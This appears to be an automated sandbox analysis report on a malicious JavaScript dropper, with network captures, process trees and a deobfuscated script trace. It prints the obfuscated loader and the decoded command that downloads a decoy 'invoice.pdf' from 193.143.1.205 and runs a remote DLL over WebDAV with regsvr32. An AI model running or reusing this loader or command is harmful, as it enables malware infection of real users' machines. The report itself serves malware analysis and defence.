Jan 11, 2025 05:52:26.878288984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878303051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878314972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878324986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.878343105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.878360987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.878618002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.915580988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:27.541016102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:28.018178940 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:28.023228884 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:28.023324966 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:28.024214029 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:28.029078007 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:28.825953960 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:28.866324902 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:29.693547010 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:54:23.699359894 CET	50074	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:54:23.704216957 CET	53	50074	1.1.1.1	192.168.2.4
Jan 11, 2025 05:54:23.704371929 CET	50074	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:54:23.704422951 CET	50074	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:54:23.709207058 CET	53	50074	1.1.1.1	192.168.2.4
Jan 11, 2025 05:54:24.157198906 CET	53	50074	1.1.1.1	192.168.2.4
Jan 11, 2025 05:54:24.160506010 CET	50074	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:54:24.165451050 CET	53	50074	1.1.1.1	192.168.2.4
Jan 11, 2025 05:54:24.166949987 CET	50074	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:52:41.184818029 CET	53487	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:54:23.698678970 CET	53	54540	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:52:41.184818029 CET	192.168.2.4	1.1.1.1	0xbc51	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:52:41.192084074 CET	1.1.1.1	192.168.2.4	0xbc51	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7432	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:52:25.291834116 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:52:26.111597061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:52:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:52:26.111655951 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:52:26.111710072 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:52:26.111745119 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:52:26.111790895 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 05:52:26.111802101 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:52:26.111841917 CET	1116	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:52:26.111880064 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 05:52:26.111917019 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 05:52:26.111954927 CET	448	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 05:52:26.116800070 CET	1232	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7724	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:52:28.024214029 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:52:28.825953960 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:52:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:52:21
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js"
Imagebase:	0x7ff6beb40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:52:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll
Imagebase:	0x7ff67cca0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:52:22
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:52:22
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:52:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:52:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff67cca0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:52:27
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ac480000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:52:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:52:28
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:52:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1760,i,17055857362209001177,5211015245744740405,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function htifjrf() {	htifjrf() ➔ undefined
1	dtcrp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uqbiji = this[aiwctil + rvwknw + ixottl + jrtuhyy + tonpvit + smqgzxmq + gkfsg + zxqewqyeg] ( this[owjlvze + llfhkz + tpopzd + ixottl + hsylxweb + aiwctil + zxqewqyeg][boxhj + ixottl + tonpvit + rvwknw + zxqewqyeg + tonpvit + xvphkcdk + rbxco + qurbc + tonpvit + tpopzd + zxqewqyeg] ( owjlvze + llfhkz + tpopzd + ixottl + hsylxweb + aiwctil + zxqewqyeg + ghxbavgoq + llfhkz + tkktno + tonpvit + djiwdb + djiwdb ) [qxdgkjes + tonpvit + emgfwxi + qxdgkjes + tonpvit + rvwknw + dmdce] ( zzomf + nduote + twuptfu + cfbadyxxs + ptenmwe + boxhj + tjarm + qxdgkjes + qxdgkjes + twuptfu + ilgysbr + kzwtbgxav + ptenmwe + tjarm + llfhkz + twuptfu + qxdgkjes + grhkhcii + boxhj + uorgj + gkfsg + zxqewqyeg + ixottl + uorgj + djiwdb + oskujq + jwjsqkd + rvwknw + gkfsg + tonpvit + djiwdb + grhkhcii + smqgzxmq + gkfsg + zxqewqyeg + tonpvit + ixottl + gkfsg + rvwknw + zxqewqyeg + hsylxweb + uorgj + gkfsg + rvwknw + djiwdb + grhkhcii + kbxtlay + uorgj + tpopzd + rvwknw + djiwdb + tonpvit ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( viinra = 0 ; viinra < dtcrp[djiwdb + tonpvit + gkfsg + emgfwxi + zxqewqyeg + tkktno] ; ++ viinra )
4	{
5	if ( uqbiji == dtcrp[viinra] )
6	{
7	uqbiji = true;
8	break ;
9	}
10	}
11	if ( uqbiji !== true )
12	this[owjlvze + llfhkz + tpopzd + ixottl + hsylxweb + aiwctil + zxqewqyeg][gbrnkkk + geikguis + hsylxweb + zxqewqyeg] ( );
13	this[owjlvze + llfhkz + tpopzd + ixottl + hsylxweb + aiwctil + zxqewqyeg][boxhj + ixottl + tonpvit + rvwknw + zxqewqyeg + tonpvit + xvphkcdk + rbxco + qurbc + tonpvit + tpopzd + zxqewqyeg] ( owjlvze + llfhkz + tpopzd + ixottl + hsylxweb + aiwctil + zxqewqyeg + ghxbavgoq + llfhkz + tkktno + tonpvit + djiwdb + djiwdb ) [ixottl + geikguis + gkfsg] ( tpopzd + tjcfwly + dmdce + oskujq + btvylgqug + tpopzd + oskujq + aiwctil + uorgj + xcwpnx + tonpvit + ixottl + jrtuhyy + tkktno + tonpvit + djiwdb + djiwdb + ghxbavgoq + tonpvit + aqzhvnvnd + tonpvit + oskujq + nituith + boxhj + uorgj + tjcfwly + tjcfwly + rvwknw + gkfsg + dmdce + oskujq + qabdw + smqgzxmq + gkfsg + uwexh + uorgj + yeqays + tonpvit + nituith + owjlvze + tonpvit + rbxco + qxdgkjes + tonpvit + tfszehy + geikguis + tonpvit + jrtuhyy + zxqewqyeg + oskujq + nituith + xvphkcdk + geikguis + zxqewqyeg + adhiney + hsylxweb + djiwdb + tonpvit + oskujq + dmipamxve + zxqewqyeg + tonpvit + tjcfwly + aiwctil + dmipamxve + grhkhcii + hsylxweb + gkfsg + uwexh + uorgj + hsylxweb + tpopzd + tonpvit + ghxbavgoq + aiwctil + dmdce + blvbwt + oskujq + tkktno + zxqewqyeg + zxqewqyeg + aiwctil + qbytv + btvylgqug + btvylgqug + uiiunjfgh + segvlcqo + mxxxv + ghxbavgoq + uiiunjfgh + spplbew + mxxxv + ghxbavgoq + uiiunjfgh + ghxbavgoq + uqswzedv + epyuyh + bwlvq + btvylgqug + hsylxweb + gkfsg + uwexh + uorgj + hsylxweb + tpopzd + tonpvit + ghxbavgoq + aiwctil + tkktno + aiwctil + qabdw + scidlxyk + scidlxyk + jrtuhyy + zxqewqyeg + rvwknw + ixottl + zxqewqyeg + oskujq + dmipamxve + zxqewqyeg + tonpvit + tjcfwly + aiwctil + dmipamxve + grhkhcii + hsylxweb + gkfsg + uwexh + uorgj + hsylxweb + tpopzd + tonpvit + ghxbavgoq + aiwctil + dmdce + blvbwt + scidlxyk + scidlxyk + tpopzd + tjcfwly + dmdce + oskujq + btvylgqug + tpopzd + oskujq + gkfsg + tonpvit + zxqewqyeg + oskujq + geikguis + jrtuhyy + tonpvit + oskujq + grhkhcii + grhkhcii + uiiunjfgh + segvlcqo + mxxxv + ghxbavgoq + uiiunjfgh + spplbew + mxxxv + ghxbavgoq + uiiunjfgh + ghxbavgoq + uqswzedv + epyuyh + bwlvq + mhxzcgwul + covpb + covpb + covpb + covpb + grhkhcii + dmdce + rvwknw + uwexh + xcwpnx + xcwpnx + xcwpnx + ixottl + uorgj + uorgj + zxqewqyeg + grhkhcii + scidlxyk + scidlxyk + tpopzd + tjcfwly + dmdce + oskujq + btvylgqug + tpopzd + oskujq + ixottl + tonpvit + emgfwxi + jrtuhyy + uwexh + ixottl + mxxxv + uqswzedv + oskujq + btvylgqug + jrtuhyy + oskujq + grhkhcii + grhkhcii + uiiunjfgh + segvlcqo + mxxxv + ghxbavgoq + uiiunjfgh + spplbew + mxxxv + ghxbavgoq + uiiunjfgh + ghxbavgoq + uqswzedv + epyuyh + bwlvq + mhxzcgwul + covpb + covpb + covpb + covpb + grhkhcii + dmdce + rvwknw + uwexh + xcwpnx + xcwpnx + xcwpnx + ixottl + uorgj + uorgj + zxqewqyeg + grhkhcii + mxxxv + bwlvq + covpb + uiiunjfgh + segvlcqo + ucoxohdc + mxxxv + uiiunjfgh + uiiunjfgh + segvlcqo + uqswzedv + hvvvmlkp + uqswzedv + ghxbavgoq + dmdce + djiwdb + djiwdb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll",0,false) ➔ 0
14	}
15	kbxtlay = "S";
16	kbxtlay = "I";
17	kbxtlay = "y";
18	kbxtlay = "Q";
19	kbxtlay = "D";
20	kbxtlay = "J";
21	kbxtlay = "E";
22	kbxtlay = "V";
23	kbxtlay = "a";
24	kbxtlay = "a";
25	kbxtlay = "A";
26	kbxtlay = "A";
27	kbxtlay = "j";
28	kbxtlay = "I";
29	kbxtlay = "n";
30	kbxtlay = "i";
31	kbxtlay = "L";
32	scidlxyk = "d";
33	scidlxyk = "b";
34	scidlxyk = "M";
35	scidlxyk = "G";
36	scidlxyk = "y";
37	scidlxyk = "H";
38	scidlxyk = "t";
39	scidlxyk = "p";
40	scidlxyk = "c";
41	scidlxyk = "C";
42	scidlxyk = "i";
43	scidlxyk = "P";
44	scidlxyk = "V";
45	scidlxyk = "w";
46	scidlxyk = "f";
47	scidlxyk = "U";
48	scidlxyk = "H";
49	scidlxyk = "g";
50	scidlxyk = "n";
51	scidlxyk = "k";
52	scidlxyk = "Y";
53	scidlxyk = "b";
54	scidlxyk = "d";
55	scidlxyk = "P";
56	scidlxyk = "k";
57	scidlxyk = "f";
58	scidlxyk = "X";
59	scidlxyk = "s";
60	scidlxyk = "h";
61	scidlxyk = "p";
62	scidlxyk = "N";
63	scidlxyk = "o";
64	scidlxyk = "Y";
65	scidlxyk = "i";
66	scidlxyk = "X";
67	scidlxyk = "W";
68	scidlxyk = "E";
69	scidlxyk = "&";
70	ilgysbr = "v";
71	ilgysbr = "H";
72	ilgysbr = "z";
73	ilgysbr = "p";
74	ilgysbr = "V";
75	ilgysbr = "U";
76	ilgysbr = "D";
77	ilgysbr = "K";
78	ilgysbr = "v";
79	ilgysbr = "T";
80	ilgysbr = "W";
81	ilgysbr = "w";
82	ilgysbr = "E";
83	ilgysbr = "z";
84	ilgysbr = "Z";
85	ilgysbr = "Y";
86	ilgysbr = "X";
87	ilgysbr = "u";
88	ilgysbr = "k";
89	ilgysbr = "d";
90	ilgysbr = "K";
91	ilgysbr = "z";
92	ilgysbr = "S";
93	ilgysbr = "g";
94	ilgysbr = "Y";
95	ilgysbr = "n";
96	ilgysbr = "e";
97	ilgysbr = "r";
98	ilgysbr = "H";
99	ilgysbr = "z";
100	ilgysbr = "z";
101	ilgysbr = "x";
102	ilgysbr = "T";
103	ilgysbr = "N";
104	uiiunjfgh = "L";
105	uiiunjfgh = "g";
106	uiiunjfgh = "Q";
107	uiiunjfgh = "z";
108	uiiunjfgh = "e";
109	uiiunjfgh = "h";
110	uiiunjfgh = "a";
111	uiiunjfgh = "K";
112	uiiunjfgh = "s";
113	uiiunjfgh = "v";
114	uiiunjfgh = "x";
115	uiiunjfgh = "j";
116	uiiunjfgh = "B";
117	uiiunjfgh = "f";
118	uiiunjfgh = "D";
119	uiiunjfgh = "z";
120	uiiunjfgh = "F";
121	uiiunjfgh = "i";
122	uiiunjfgh = "R";
123	uiiunjfgh = "u";
124	uiiunjfgh = "Z";
125	uiiunjfgh = "h";
126	uiiunjfgh = "Z";
127	uiiunjfgh = "a";
128	uiiunjfgh = "J";
129	uiiunjfgh = "X";
130	uiiunjfgh = "F";
131	uiiunjfgh = "R";
132	uiiunjfgh = "b";
133	uiiunjfgh = "U";
134	uiiunjfgh = "o";
135	uiiunjfgh = "b";
136	uiiunjfgh = "p";
137	uiiunjfgh = "E";
138	uiiunjfgh = "1";
139	ixottl = "r";
140	ghxbavgoq = "t";
141	ghxbavgoq = "d";
142	ghxbavgoq = "O";
143	ghxbavgoq = "h";
144	ghxbavgoq = "j";
145	ghxbavgoq = "l";
146	ghxbavgoq = "f";
147	ghxbavgoq = "t";
148	ghxbavgoq = "Y";
149	ghxbavgoq = "f";
150	ghxbavgoq = "A";
151	ghxbavgoq = "o";
